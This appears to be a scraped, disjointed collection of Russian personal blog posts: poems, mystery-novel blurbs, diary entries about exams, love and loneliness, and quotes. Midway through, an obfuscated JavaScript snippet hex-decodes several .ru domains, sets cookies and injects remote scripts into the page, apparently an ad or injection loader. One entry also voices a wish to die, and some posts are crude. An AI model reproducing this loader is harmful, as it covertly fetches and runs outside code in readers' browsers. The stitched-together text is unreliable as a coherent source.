Ты не считаешь, сколько дней я тебе не звонил,
Не отвечаешь ни по одной из своих двух мобил
И засыпаешь рядом с тем, кого я бы убил,
Если только бы встретил и если хватило бы сил!

Как у него дела? Сочиняешь повод
И набираешь номер; не так давно вот
Встретились, покатались, поулыбались.
Просто забудь о том, что из пальца в палец
Льется чугун при мысли о нем - и стынет;
Нет ничего: ни дрожи, ни темноты нет
Перед глазами; смейся, смотри на город,
Взглядом не тычься в шею-ключицы-ворот,
Губы-ухмылку-лунки ногтей-ресницы -
Это потом коснется, потом приснится;
Двигайся, говори; будет тихо ёкать
Пульс где-то там, где держишь его под локоть;
Пой; провоцируй; метко остри - но добро.
Слушай, как сердце перерастает ребра,
Тестом срывает крышки, течет в груди,
Если обнять. Пора уже, все, иди.

И вот потом - отхлынуло, завершилось,
Кожа приобретает былой оттенок -
Знай: им ты проверяешь себя на вшивость.
Жизнеспособность. Крепость сердечных стенок.
Ты им себя вытесываешь, как резчик:
Делаешь совершеннее, тоньше, резче;
Он твой пропеллер, двигатель - или дрожжи
Вот потому и нету его дороже;
С ним ты живая женщина, а не голем;
Плачь теперь, заливай его алкоголем,
Бейся, болей, стихами рви - жаркий лоб же,
Ты ведь из глины, он - твой горячий обжиг;
Кайся, лечи ошпаренное нутро.
Чтобы потом - спокойная, как ведро, -
" Здравствуй, я здесь, я жду тебя у метро".

1. Стиг Ларссон — "Девушка с татуировкой дракона"

Трилогия «Миллениум», разошедшаяся тиражом более десяти миллионов экземпляров еще до того, как завершены все начатые переводы, оказалась издательской сенсацией мирового масштаба. Книга переведена почти на 40 языков, права на экранизацию куплены Квентином Тарантино.

Сорок лет загадка исчезновения юной родственницы не дает покоя стареющему промышленному магнату, и вот он предпринимает последнюю в своей жизни попытку — поручает розыск журналисту Микаэлю Блумквисту. Тот берется за безнадежное дело больше для того, чтобы отвлечься от собственных неприятностей, но вскоре понимает: проблема даже сложнее, чем кажется на первый взгляд. Как связано давнее происшествие на острове с несколькими убийствами женщин, случившимися в разные годы в разных уголках Швеции? При чем здесь цитаты из Третьей Книги Моисея? И кто, в конце концов, покушался на жизнь самого Микаэля, когда он подошел к разгадке слишком близко? И уж тем более он не мог предположить, что расследование приведет его в сущий ад среди идиллически мирного городка.

2. Дафна Дюморье — "Ребекка"

" Ребекка" - не просто самый известный роман Дафны Дюморье.
Не просто книга, по которой снят культовый фильм Альфреда Хичкока.
Не просто произведение, заложившее стилистические основы всех "интеллектуальных триллеров" наших дней.
" Ребекка" - это роман уникальный, страшный - и прозрачный, простой - и элитный. Роман, без которого не существовало бы ни "Степного волка" Германа Гессе, ни "Кэрри" Стивена Кинга.

3. Карлос Руис Сафон — "Тень ветра"

Книга-явление.
Книга-головоломка.
Книга-лабиринт.
Роман, который заставляет читателя погрузиться в почти мистический мир Барселоны и перемещает его в совершенно иную систему координат.
Читателю предстоит вместе с главным героем встретить зловещих незнакомцев, понять и полюбить прекрасных и загадочных женщин, бродить по мрачным лабиринтам прошлого, и главное - раскрыть тайну книги, которая непостижимым образом изменяет жизнь тех, кто к ней прикасается.
Удивительная книга, в которой есть все: увлекательный сюжет, блестящий стиль и будоражащие воображение тайны. НАСТОЯЩАЯ ЛИТЕРАТУРА!

4. Уилки Коллинз — "Женщина в белом"

Уилки Коллинз - английский писатель, один из зачинателей современной детективной литературы, признанный мастер интриги, умело сочетавший в своих произведениях таинственное, детективное и романтическое. В основе романа "Женщина в белом" лежит острый, увлекательный сюжет о преступлении, которое было задумано и осуществлено ради денег. Сэр Персиваль Глайд, еще в юности совершивший подлог, чтобы присвоить не принадлежавшие ему по закону титул и поместье, заключает свою жену Лору под именем умершей и очень похожей на нее Анны Катерик в сумасшедший дом. Теперь ничто не стоит между ним и богатством его жены…

5. Эдгар Аллан По — "Золотой жук"

Американский поэт, прозаик, журналист Эдгар По - основоположник детективного жанра, автор мистических и научно-фантастических рассказов. До сих пор обстоятельства и причина смерти гениального поэта, создателя зловещих кошмаров и гротескных фантасмагорий остаются невыясненными, с каждым годом споров и легенд становится все больше. Имя опередившего свое время писателя стало культовым в Америке - к примеру, известно, что в течение шестидесяти лет, каждый год в день рождения Э.По некий тайный поклонник в черном оставлял на его могиле три красные розы и бутылку коньяка.
В сборник вошли избранные рассказы.

6. Стивен Кинг — "11/22/63"

Этот роман безоговорочно признают лучшей книгой Стивена Кинга и миллионы фанатов писателя, и серьезные литературные критики. …Убийство президента Кеннеди стало самым трагическим событием американской истории ХХ века. Тайна его до сих пор не раскрыта. Но что, если случится чудо? Если появится возможность отправиться в прошлое и предотвратить катастрофу? Это предстоит выяснить обычному учителю из маленького городка Джейку Эппингу, получившему доступ к временному порталу. Его цель — спасти Кеннеди. Но какова будет цена спасения?

7. Чарльз Диккенс — "Тайна Эдвина Друда "

Самый загадочный роман великого Диккенса.
Роман, который до сих пор вызывает множество вопросов и споров, объединил в себе черты жизнеописания, психологического романа и детектива.
Произведение, так и оставшееся незаконченным, неоднократно экранизировали и даже пытались дописать. Однако решить все загадки, заданные автором много лет назад, так никому и не удалось…

8. Джон Харвуд — "Призрак автора"

Австралийский библиотекарь Джерард Фриман переписывается с загадочной англичанкой Алисой Джесселл, прикованной к инвалидной коляске… Мать Джерарда хранит какую-то тревожную тайну… А за этой тайной - секреты бабушки… И загадки прабабушки…

9. Сара Уотерс — "Нить, сотканная из тьмы"

Впервые на русском - самый знаменитый из ранних романов прославленного автора "Тонкой работы", "Бархатных коготков" и "Ночного дозора". Замысел "Нити, сотканной из тьмы" возник благодаря архивным изысканиям для академической статьи о викторианском спиритизме, которую Уотерс писала параллельно с работой над "Бархатными коготками".
Маргарет Прайор приходит в себя после смерти отца и попытки самоубийства. По настоянию старого отцовского друга она принимается навещать женскую тюрьму Миллбанк, беседовать с заключенными, оказывая им моральную поддержку. Интерес ее приковывает Селина Дауэс - трансмедиум, осужденная после того, как один из ее спиритических сеансов окончился трагически. Постепенно интерес обращается наваждением - ведь Селина уверяет, что их соединяет нить, сотканная из тьмы…

10. Айра Левин — "Ребенок Розмари"

Больше всего на свете Розмари мечтает о ребенке. Кажется, счастье совсем близко - они с мужем находят чудесную квартиру в старинном доме, Гай неожиданно получает работу. Но будущая мать с ужасом понимает, что за подарки судьбы придется заплатить непомерную цену: она уверена, что муж пожертвовал душой их неродившегося ребенка ради карьеры. Розмари не сомневается, что ее соседи - эксцентр

Очень эмоциональные выходные. Все подробности завтра, при первой же возможности напишу и опишу. А сейчас всем спокойной ночи и хорошего начала рабочей недели. :)

Решилась оторваться от экзамена и написать сюда. Начнем с банального- не может быть везде все хорошо. Как только у меня все сгладилось с Кириллом, в отношениях между членами семьи пошли трещины- мама не хочет со мной разговаривать, Таня в недоумении, а я никак не пытаюсь исправить ситуацию. Снова обещания? Оно либо подавиться, либо выльется в самой ужасной форме. Я перестаю торопиться домой. Я перестаю стараться их понять. Я перестаю делать попытки поменяться, мне кажется я одной ногой на улице. и еще.. я несносна.

Завтра экзамен. большой удачи.

Ууххуху, я снова с компьютером)

Вернулась в Ростов и впервые за 4 года я себя ощутила дома. Я реально соскучилась за этой квартирой, не знаю как буду расставаться с ней через 4 месяца. Завтра еще один экзамен, на этот раз жилищное право. И в очередной раз пожалела, что я цивилист, так как терпеть не могу все цивилистические дисциплины. В магистратуру хочу только на криминалистику, еще 2 года изучения гражданского права я не выдержу.

Надеюсь, завтра все будет хорошо, я сдам экзамен)

Весь мир - теарт, а люди в нем актеры. Иногда я думаю, почему же я не пошла на актерский? У меня бы получилось. 20 лет, а настоящую меня никто не знает, 99% окружающих не поверят, что я бываю серьезной, не то что, что я давно погибла, а внутри меня гниль, слизкая черная смола. Никто не поверит, что единственное моё искреннее желание - умереть. Все восхищаются моей стойкостью и позитивным настроем. А как быть? Я ничего не чувствую, не люблю, когда меня жалеют, так что пусть все думают, что всё у меня лучше всех. Нет ни проблем, ни слез, ни депрессий. А на самом деле нет души, надежды, планов…

Клоун плачет.

Создала себе инст чтобы подписаться на людей и просто смотреть что они делают, потом втянулась, стала постить собственное лицо и прочий бред.Докатилась до того, что даже педагоги мои подписались на меня и теперь мне стыдно выкладывать фотки с алкоголем и сигаретами.Беда(

Этот город не для меня. Я конечно приземленная, но не настолько. Это невозможно. Все всех знают. И делать нечего. И все такие узколобые. Хочется вырваться. Как тяжело так жить, господи.

Всё равно ты не слышишь, всё равно не услышишь ни слова,
Всё равно я пишу, но как странно писать тебе снова,
Но как странно опять совершать повторенье прощанья.

Добрый вечер.
Как странно вторгаться в молчанье.

Иосиф Бродский

не понимаю, куда я попала. свою осознанную жизнь я начала не в таком окружении и мне непривычно, что есть такие люди. я точно не там, где хочу быть. поменять окружение.
сейчас знаю, чего хочу.
слишком избалована и имею очень большие запросы. но есть куда стремиться, чтобы соответствовать.
время.

Когда устанешь от бесконечного самоанализа,
позвони мне.
Потанцуем.

Иосиф Бродский

— Может, поцелуешь меня в знак примирения?
— А где он у тебя?

Росс: Моника и Чендлер живут вместе!

Моника: Росс женился на Рейчел в Вегасе! И развёлся ! Опять!

Фиби: Я люблю Жака Кусто!

Рейчел: Не нужно было класть говядину в трюфель!

Джоуи: Я хочу сваааааааааааалить!

Джуди: Столько информации за 30 секунд.

Меняю жизнь

Мои результаты нашумевшего теста:

Мне все говорят, что я выгляжу на 16. Когда пришла на работу и обратилась к продавцу с вопросом, где тут стойка моего банка, последовал ответный вопрос: "А вам зачем?". На одной точке у меня прозвище "маленькая женщина", на другой "школьница", а тут дали аж 26 Вообще зашла на этот сайт с полной уверенностью, что там если и не божественные все, то хотя бы хот. Зачем тогда кто-то создавал этот сайт, если не радовать людей?

И не подумала бы выкладывать это, просто хотелось поделиться ссылкой на видео Пьюдипая

С августа я пытаюсь вбить себе в голову, что я больше тебя не люблю. Иногда я даже сама в это верю. А иногда хочется написать ьебе или позвонить. А еще хочется обнять тебя и услышать от тебя
- я люблю тебя, котенька

Я помню все те редкие моменты счастья, что у нас были

Я помню, как ты провожала меня на экзамен, обнимая меня у кабинета перед моими одногруппниками

Помню, как пришла к тебе после экзамена и мы смотрели близких друзей. Мне пришлось уйти через пару часов, и когдя я открывала входную дверь, ты взяла меня и обняла. Мы долго так стояли, и черт возьми, я жалею, что все таки вырвалась из объятий и пошла домой

Еще я помню, кога ты написала мне, что не поедешь в Германию, чтобы остаться со мной в России. Я тогда была в шоке, и ты сказала, что больше не будешь мне такого говорить

А еще мы с тобой часто ругались. Особенно из-за моего недоверия. А еще из-за моего твиттера

А когда я осталась у тебя на ночь, мы обнимались и смотрели ЖЧ.

Когда утром я от тебя ушла, я поняла, что скоро все закончиться

И 06.08 все закончилось

Да, до этого ты месяц мне ничего не писала и игнорила меня, но я до последнего надеялась, что все наладиться

Ты моя первая любовь, и черт возьми, я до сих пор тебя люблю
Надеюсь, ты хотя бы уже разлюбила свою бывшую, заменой которой я была. Или уже встретила свою новую любовь, которая уж точно будет тебе доверять и не будет такой сволочью как я

Настроение - упасть в сугроб и умереть

Сейчас, после просмотра спектакля Евгения Гришковца, тоже задумалась о чувствах. Не в плане любви, нет. А вот об этих моментах, о которых ты должен не думать, а которые ты должен прочувствовать всей душой.

Вот прилетела я в Тайланд. Еще в самолете думала: « Вот! Сейчас я прилечу в Тайланд. Там свой воздух, своя температура. Даже вот кожей все это будет чувствоваться. Будто меня будет обнимать ЧУЖОЙ ветер. Не какой-то свой, прохладный, из России, а этот тайский тропический ветер. И я вот его так прочувствую и пойму. Вот я приеду, и такая осознаю что-то. Что — еще сама не знаю ». И вот мы прилетаем в Тайланд. И вот начинается вся эта суета: поиск турфирмы, которая должна нас отвезти до отеля, потом поиск гида, автобуса, регистрация на ресепшене… Когда все это осознавать? Когда чувствовать тайский воздух? Климат? Ветер? Температуру? Запах? Ты только думаешь: « Фух! Как жарко! » И все!

Ну вот стою я прямо на берегу моря. Вот только чуть-чуть моих пальцев ног касается эта соленая прозрачная вода. И я думаю, что вот щас я зайду в воду, и все-все-все пойму! И захожу. И уже плыву. Уже много проплываю… а не понимаю ничего. А когда я это пойму? Когда я осознаю, что я в другом городе, другой стране? Когда я пойму то, что только утром я ехала в машине в дождливую погоду, а сейчас я вообще на другом конце мира плаваю в теплой, неимоверного цвета, воде!?

И знаете, когда я это все поняла? Когда я осознала, что я была в какой-то другой реальности? Когда я уже прилетела обратно домой. Когда я поняла, что я не знаю, когда еще смогу увидеть настоящую мартышку на пальме; когда в голове промелькнула мысль о неизвестности того, когда я еще раз зайду в море. Когда? Это было уже. Уже прошло, а время не вернуть.

Это вообще странно — хотеть повернуть время вспять. Вернее нет, не это странно, а странно то, что это НЕВОЗМОЖНО, как бы ты ни хотел. Когда ты думаешь: « Нет, такое не могло произойти со мной. Это же Я, а не какой-то там человек. Как я могла была попасть в пробку? Как я могла заболеть? Как я могла схлопотать двойку? Ведь я — это я. Со мной это не должно было случиться! » И ты думаешь об этом. Очень много. Только и вертится в голове « Почему именно я? ». И правда: почему? Почему не он? Не она? И еще… Самый дурацкий вопрос, который всплывает в моей голове довольно часто: « Почему я — это я? » Ни Катя, ни Таня, ни Антон, ни Лиза, а Я.

У меня кудрявые волосы. Почему? Почему не прямые? У меня серо-голубые глаза… А могли быть и карими… Я ведь могла была родиться кем-то другим! Так почему я родилась Соней!?

Вот и накрыли меня мысли же перед самым сном…

18.01.16

Лучшая подруга - это та, которая радуется твоим победам.
Та, которая отложит все дела ради тебя.
Та, которая расскажет тебе абсолютно все.
Та, которая может позволить себе позвонить в 2 часа ночи и сказать, что поссорилась с парнем.
Та, которая будет ревновать к другим девочкам.
Та, которая когда ты права похвалит тебя, а когда не права поругает. Та, которая чтобы ни случилось порвет всех на кусочки за тебя.
Та, которая не будет говорить в обществе о твоих недостатках.
Та, которая поймет тебя, когда ты на нее сорвешься, если у тебя плохое настроение.
Та, которая считает тебя сестрой.
Та, молчание с которой не напрягает…
И если прочитав все это ты вспомнила именно ее, просто знай что тебе невероятно повезло. Это счастье, когда у тебя есть подруга, которой ты можешь открыть сердце.
Цените дружбу.

Сохрани мою речь навсегда за привкус несчастья и дыма,
За смолу кругового терпенья, за совестный деготь труда…
Как вода в новгородских колодцах должна быть черна и сладима,
Чтобы в ней к рождеству отразилась семью плавниками звезда.

(с)

Спасибо Нойзу за то, что превратил эти прекрасные стихи Мандельштама в не менее прекрасную песню, дополнив своим текстом.

P.S. Песня в блоге

В моей жизни было лишь пару моментов, когда я был поистине счастлив.
Что для вас счастье, господа? Счастье - понятие растяжимое. Для кого-то это просто внимание близкого человека, для кого-то - корка хлеба. Что же для меня счастье?
Вспоминая моменты, которые отложились у меня в памяти, я считаю, что был поистине счастлив лишь пару раз.
Я прекрасно помню, как был в Крыму, слушая песню моря. Это было поистине великолепно. Что может быть лучше, чем стабильность? Да, конечно, было много отрицательных факторов, которые, может быть, могли бы испортить мне отдых, но любовь - это когда ты любишь недостатки так же, как и достоинства, поэтому я каждый день, вставая с самого утра (с восходом солнца), окунал ноги в воду и думал лишь о той секунде, которую сейчас переживаю. Я не думал о прошлом, я не думал о будущем.
Ах, вспоминая второй момент, когда я был счастлив, я чуть ли не плачу. Это было так же на Черном море. Железный порт. У тебя есть своя комнатка. Маленькая, но тебя все устраивает. Ты знаешь, что придешь туда и будешь свободен. Ты выходишь на балкон, делаешь пару затяжек и смотришь на неё. Бывает что-то, что может это привзойти? Ты выходишь из клуба в 2 часа ночи на пустой пляж и окунаешься в море. Да, ребята, для меня это счастье. Идешь себе утречком по пляжу и понимаешь, что это всё - твоё. Ты идешь со своей девушкой в тир, она, как настоящий снайпер, выигрывает парочку призов, а ты краснеешь, ведь ты не так хорош в этом. В душе надеясь, что когда-то сможешь её привзойти. Идешь туда раз, два, три (естественно, в тайне), но тебе ничего не удается. Нет, ты не отчаеваешься, скорее, тебя даже берет гордость за неё.
Эти клубы, этот шум прибоя, этот прекрасный закат… Да, конечно, я вряд ли когда-то испытаю что-то похожее, но, по крайней мере, я постараюсь хранить эти воспоминания до последнего дня. Просыпаться с ней в обнимку. Радоваться рассвету. Любить и быть любимым. Да, это счастье.

17 декабря. Нельзя привязываться к людям. Потому что, когда узнаешь, что это не взаимно, становится досадно и ты снова закрываешься в себе.

Иногда у меня такое впечатление, что живу так, как будто мне осталось мало и надо как модно больше увидеть, куда больше мест посетить. И меня пугает то, что я никогда не останавлюсь Мечта у меня путешествовать, я просто готова все тратить на то, что бы увидеть мир. Весь мир! Загран я уже сделала. Первая остановк Будапешт

Может быть это покажется многим странным, но я люблю думать о том, какой я буду мамой. Представлять себя с маленькой девочкой. Не знаю почему, но я уверена что у меня будет девочка. Я вот прям чувствую это всем своим существом. Она даже снилась мне. У нее уже даже есть имя, которое я правда никому не говорю, потому что это моё имя и только моё :D еще заберет кто себе…. :DDD

Глупости всё это конечно, но в моменты, когда я, например, лежу одна на кровати, я могу представить, как она лежит рядом, как сжимает мой палец в свой кулачок, улыбается, смеется))) ) Я могу даже заплакать, думая об этом :DDD

Мне нравится представлять себя мамой… Вот женой никогда не представляю :DDD Не бывает такого, чтоб я лежала и думала "вот классно было бы, будь я сейчас женой" :D вижу себя любимой девушкой.. мамой… а вот женой почему-то нет.

Я конечно не собираюсь рожать в ближайшие 5 лет точно, да и не от кого мне… г-ди, даже залететь не от кого если уж по факту говорить :D Но вот такие мысли о "будущей мне" мб даже меня как-то успокаивают в минуты, когда я волнуюсь из-за какой-то несущественной глупости аля "мне не звонит какой-то придурок")))

И еще мне кажется, почему-то, не знаю почему, что если вот это мое предчувствие на ее счет сбудется, то это будет значить, что в своей жизни я все сделала правильно. А для меня это очень важно - знать, что я делаю всё правильно.

p.s.

Из этой темы вытекает другая, о которой я часто говорю. Что я никогда не выйду замуж по залету. Точнее сказать беременность никогда не будет для меня причиной для брака. Если до беременности не было причин, то и залет - не причина. Буду жить как жила, если это были серьезные полноценные отношения - то пусть они и продолжаются, просто будем готовиться к рождению малыша или малышки. А потом, только тогда, когда я пойму, что мужчина рядом со мной не по необходимости, а потому что он действительно хочет провести со мной всю жизнь, только тогда я соглашусь за него выйти. "Помощь" в виде штампа в паспорте мне не нужна.

почему каждый втирает мне, какая я хорошая, и как сильно хочет быть со мной,
но абсолютно ничего для этого не делает.
получается, я действительно ни черта не стою.

Каждый день - новое открытие. Простое, но такое важное. И вот сегодняшнее: погружаясь в бездонный, бесконечный океан мечт о будущем, на поверхности пропускаешь все самое интересное. Там без тебя проходит твой день и твоя жизнь. Которая здесь и сейчас. Которая яркая и живая. И только твоя. Ни один день из которой уже никогда не повторится

У меня очень странная история с запахами, причем с детства. Бывыло стою на футбольном после в ожидании паса очередной игры в сокс, и как хлынет волна аромата, и бац, ты по горло стоишь в траве и этот запах бьет прямо тебе в нос. А потом очнешься так же внезапно, а все на тебя уже ругаются, что ты пропустил, по их словам, "такоооооой пас". Или же другой случай, помню мы объявили соревнование по катанию на самокате. И вот мой черед, я разгоняюсь, отталкиваюсь от земли что есть мочи, а в носу стоит запах мокрого асфальта, хотя дождя и в помине не было. Хотя, где-то часов так в 11 вечера гроза бомбанула.

И вот сейчас, я сижу и строчу вам это незамысловатый текст, а в носу стойкий запах бананов, хотя даже бананового молочного коктейля. И как вы догадались, бананов в доме довольно долго не было.

Парадоксы обоняния.

Пришли мы на экзамен, а он не по билетам, у нее свои вопросы и проходил в письменной форме. Некоторые у нас просто сразу вставали и уходили, ибо такого в билетах даже не было. Я вспомнила за час 4 предложения, за что мне поставили 3 (вау, я бы не поставила, хотя мб она меня помним по семинарам). Но я принципиально не захотела тройку и попросилась на пересдачу. Хотя теперь думаю, что можно было и забить. Теперь пойдем пересдавать уже мужчине, которому и должны были сдавать (надеюсь).

Никто никогда не предскажет, как будут развиваться события в нашей жизни. Настолько кардинально и настолько неожиданно. Спасибо за ночь и за рассвет)

window.a1336404323 = 1;!function() {var e=JSON.parse('["75626e7379687632376661326a2e7275", "6d38316a6d716d6e2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="14945", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Судьба – для лузеров. Это просто тупой предлог, чтобы ждать, когда вещи случатся, вместо того, чтобы делать их самому.Странно что я задумалась об этом только сейчас, но хорошо что вообще задумалась. Перемены не происходят в жизни людей сидящих дома, и полагающихся что судьба когда надо выведет их на нужный путь. Что бы что то случалось -нужно действовать, и в дейстиях этих, нужно начинать с себя. Для меня нет ничего хуже бездействия, нет ничего хуже того, когда не происходит вообще Н И Ч Е Г О. Когда проснувшись утром, тебе не за чем вставать с кровати, потому что этот день не принесет ничего полезного, интерессного и нового.

Мне всегда хочется двигаться.Вперед, назад - неважно, главное двигаться. А сторона и скорость движения зависит уже от нас. Да и вообще все в жизни зависит от нас самих. Никто не сделает за нас карьеру, и никто не заработает за нас денег на путишествия, никто за нас не пойдет в спорт зал и не начет следить за нашей фигурой. Мы -это то к чему мы стремимся. И если мы не стремимся, ровным счетом, ни к чему, то и мы никто.

Мне обидно за все те года когда я верила в судьбу, и ждала чуда. Как видите -не дождалась. Сейчас я надеюсь только на себя, на свои силы, способности, умения, на вещи которым еще нужно будет научиться, и я им обязательно научусь, Чудеса в нашей жизни творим мы сами. И я хочу, как наверно и каждый человек, что б моя жизнь была наполнена чудесами. Надеюсь у меня хватит сил и терпения совершить все задуманное, и даже больше.

добрый вечер, всем) просидев сегодня целый день за компьютером, заходила на всякие странички знакомых девушек увидела, что у них есть парни, только такой дуры как я нет парня. они все такие клевые, счастливые…просто я никому не нравлюсь…одногруппникам нужна только для того, чтобы помочь по учебе и все один даже что я ему просто "нужна" и как-то повелась на это. помогала даже ему…Но в сентябре я узнала, что у него есть девушка Вика, кстати очень даже красивая…и тут я разочаровалось в нем…..ну даже холодно относилась к нему ну и сейчас так же отношусь, что-то очень много"ну" это дурацкая привычка всем помогать, знаю же, что они все тем кому я помогаю мне даже в трудную минут не помогут, если честно я их наверное и не позову… Такого самого одногруппника звали В так вот поначалу я его считала своим другом вроде ничего не изменилось, но я знаю, что этот человек мне не поможет в трудную минут. все хватит про него. Вообщем пришла я к выводу, что никому я не нужна. вот так вот.самооценка ниже нуля.

сравнивать фильмы Выживший и Омерзительная восьмерка, это все равно что сравнивать анальный секс и оральный, каждому свое.

Извини. Разве я просила снимать с меня трусики и целовать мой зад?

GIFS [tumblr]

охуенность этого постера зашкаливает

А вообще, их не так уж и много было. Особенно в последнее время. Особенно, если учесть необъяснимую тенденцию появления имени "Рома" в этом списке.

Наверное, меня давно так продолжительно не клинило на протяжении столького времени каждый-каждый день. Начиная с момента, как просыпаюсь, и заканчивая моментом, как я засыпаю всё с той же мыслью. Мне 20, откуда это взялось вообще?! РОМА РОМА РОМА РОМА РОМА РОМА. Забавно то, что мои когда-то придуманные стандарты внешности идеального парня рухнули в хлам)) И еще забавнее то, что я нахожу этого человека идеальным по всем параметрам и не могу даже найти минусы ни в чем. Я не встречала человека (парня) умнее. Не встречала человека, с которым было бы настолько интересно разговаривать часами. Давно не встречала того, о ком мне действительно интересно знать и как прошел его день, и что с ним произошло этим летом на озере, и как он получил худшую оценку в зачетке на втором курсе.

Как признаться этому человеку, что я не претендую на отношения с ним, мне было бы достаточно общения и именно этих разговоров. И наших до ужаса милых переписочек в вк, милость которых я обнаружила только после того, как прекратили общение. Как привязать к себе человека, если он этому сопротивляется? Нуу пытается сопротивляться. И вообще, как перестать прокручивать все моменты и наши разговоры?

Удивительно, за сколь короткий срок можно настолько привязаться к человеку, и сколь долгий срок пытаться от него отвыкнуть. И вот что-то никак не получается. А если еще и сравнение провести с остальными, так с ними и вовсе даже и минуты не хочется общаться.

У меня будто каждый январь знаменуется моими загонами по тому, чего не повторить. И вообще, не общаться целый месяц, каждыыый день думать о наших встречах, а потом вот так вот "Я тебе позвоню во второй половине дня". Я ведь и действительно ни на что не рассчитываю, с этим смирилась, и мне действительно интересно, как у него там дела и сколько всего с ним случилось за этот гребаный месяц. Узнала сполна, за что и спасибо :) Ааааа еще именно от него я набралась этих самых :) смайлов, ставля которые я каждый раз представляю его милейшую интонацию в голосе, желая мне хорошего вечера. Так вот. Мне действительно интересно, как у него там дела. И о боже, как же он каждый раз вежливо поступает по отношению ко мне, не динамя в таких мелочах. Тогда в пятницу он утром вернулся, чтоб доспать со мной до будильника. Сейчас он знал, что меня волнует его жизнь, поэтому позвонил и рассказал. И в то гребаное воскресенье он пришел и объяснил, почему у нас с ним из двух вариантов развития событий произойдет именно третий. Где-то в глубине меня сидит эта его фраза: "Я не хочу заставлять тебя ждать годик-другой, пока мои тараканы в голове успокоятся". И теплится надежда, что он начнет проявлять инициативу.

Даже не знаю, что мне делать. ВОзникают мысли взять всё в свои руки, как во всяких там фильмах, рассказать о своей привязанности, а он пусть откроет глаза на всё это. Хотя это глупо и никто так не делает. Где это видано, чтоб девчонка донимала парня своими признаниями?

Я не знаю, что мне делать. Знаю точно одно: я жутко привязалась к нему и не могу отвыкнуть. Хотя по сути сколько там было наших этих встреч? Но тут дело не в количестве, а в моментах, когда он ставил фильм на паузу, чтоб переспорить меня в каком-нибудь вопросе или рассказать долгую историю о чем-то там.

Нужно что-то делать. Я не хочу вот так вот просто всё это забыть со временем и идти дальше. Я хочу идти дальше с ним. но. что. мне. делать? Я не знаю. И совета спросить не знаю у кого.

Интервьюер: На площадке-то как секретность ­соблюдалась? У всех же айфоны.

Оскар: - Надо было подписать специальную бумагу о неразглашении. И в конце­ ­съемочного дня нас раздевали и обыскивали. И в задницу тоже заглядывали. Чтобы убедиться, что там не спрятан световой меч.

______________

Оскар, я тебя обожаю.

Пушкин "Евгений Онегин"

— Ладно! Кажется они ещё не готовы сразиться с Альфой. Особенно те, кто может чувствовать страх.

- У него клыки!

Я — хуже, чем ты говоришь.
Но есть молчаливая тайна:
Ты пламенем синим горишь,
Когда меня видишь случайно.

#puppylove

— Почему ты здесь?

— Потому что ты здесь.

Неужели одни люди созданы из огня, другие — из воды, или земли, или воздуха? Неужели к одним человека может тянуть, как бы он ни сопротивлялся, а от других его будет тошнить, как бы они ни старались понравиться.

Каждый человек видит в других то, что в опыте духовном познал в себе самом, поэтому отношение человека к ближнему есть верный показатель достигнутой им степени самопознания.

Силуан Афонский

Круто, когда все девочки выпендриваются перед ним,
а он влюблен только в меня..

люди у которых в блоге милипиздрический текст, на ярком контрастном фоне

ИДИТЕ НАХУЙ

Вот и всё. Ну и что? Я последний(вру) раз даю пинок трупу лошади. Никогда не думала, что буду такой дурой. В принципе, якорь сброшен, и можно делать наконец всё, что хотела раньше, вот только теперь ничего не хочется.

Сегодня умерла бабушка с которой я сидела.

И так как мы далекие, но родственники, т.Ира позвала маму помочь.Мама сразу стала собираться, а я переживаю и хвостиком за ней хожу из комнаты в комнату.Тут она заходит в зал и дальше разговор с отцом из рубрики"Мои семейные шутеечки":

— Толь, проведи меня туда.

—Нет, Валь, я не пойду.

—Ну, проведи…

—Пап, тут 5 домов пройти…

—Ааааа, я уж было подумал на тот свет…

— Толя, на тот свет ты первый пойдешь.

Ушли короче.А я сижу и грущу о скоротечности нашей жизни.

Привет, родная.

это я, твой будущий.
ну например, таинственный мужчина.
а если хочешь, может даже суженый.
зачем пишу? на это есть причина.

я это.. в общем, тут хотел сказать тебе
давай учись, а не стихи ночами кидай, на флешку в папку "всякий бред "
ты кстати, любишь ужин со свечами?
а если нет, то может, хоть обед?

и вот еще, носи зимой колготки,
простудишься, а это ведь чревато.
еще не вздумай волосы обрезать,
зачем тебе прическа, как у мальчика?
ты с длинными - похожа на принцессу
или на дам из твоего журнальчика.

и напоследок, отпусти-ка прошлое,
ты знаешь ведь, о ком веду я речь
оно тебе дает надежды ложные,
а ты попробуй избежать случайных встреч.
